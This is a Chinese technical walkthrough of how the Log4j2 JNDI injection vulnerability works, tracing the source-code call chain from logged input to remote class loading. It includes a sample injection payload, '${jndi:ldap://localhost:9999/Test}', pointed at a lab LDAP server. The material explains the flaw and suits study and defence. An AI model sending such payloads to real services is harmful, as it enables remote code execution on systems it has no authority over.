1、首先攻击者遭到存在风险的接口(接口会将前端输入直接通过日志打印出来),然后向该接口发送攻击内容:${jndi:ldap://localhost:9999/Test}。
2、被攻击服务器接收到该内容后,通过Logj42工具将其作为日志打印。
源码:org.apache.logging.slf4j.Log4jLogger.debug(...)/info(...)/error(...)等方法
> org.apache.logging.log4j.core.config.LoggerConfig.log(...)
> AbstractOutputStreamAppender.append(final LogEvent event)
3、此时Log4j2会解析${},读取出其中的内容。判断其为Ldap实现的JNDI。于是调用Java底层的Lookup方法,尝试完成Ldap的Lookup操作。
源码:StrSubstitutor.substitute(...) --解析出${}中的内容:jndi:ldap://localhost:9999/Test
> StrSubstitutor.resolveVariable(...) --处理解析出的内容,执行lookup
> Interpolator.lookup(...) --根据jndi找到jndi的处理类
> JndiLookup.lookup(...)
> JndiManager.lookup(...)
> java.naming.InitialContext.lookup(...) --调用Java底层的Lookup方法
PS:后续步骤都是Java内部提供的Lookup能力,和Log4j2无关。
4、请求Ldap服务器,获取到Ldap协议数据。Ldap会返回一个Codebase告诉客户端,需要从该Codebase去获取其需要的Class数据。
源码:LdapCtx.c_lookup(...) 请求并处理数据 (ldap中指定了javaCodeBase=)
>Obj.decodeObject --解析到ldap结果,得到classFactoryLocation=http://localhost:8888
> DirectoryManager.getObjectInstance(...) --请求Codebase得到对应类的结果
> NamingManager.getObjectFactoryFromReference(...) --请求Codebase
5、请求Ldap中返回的Codebase路径,去Codebase下载对应的Class文件,并通过类加载器将其加载为Class类,然后调用其默认构造函数将该Class类实例化成一个对象。
源码:VersionHelper12.loadClass(...) --请求Codebase得到Class并用类加载器加载
> NamingManager.getObjectFactoryFromReference(...) 通过默认构造函数实例化类。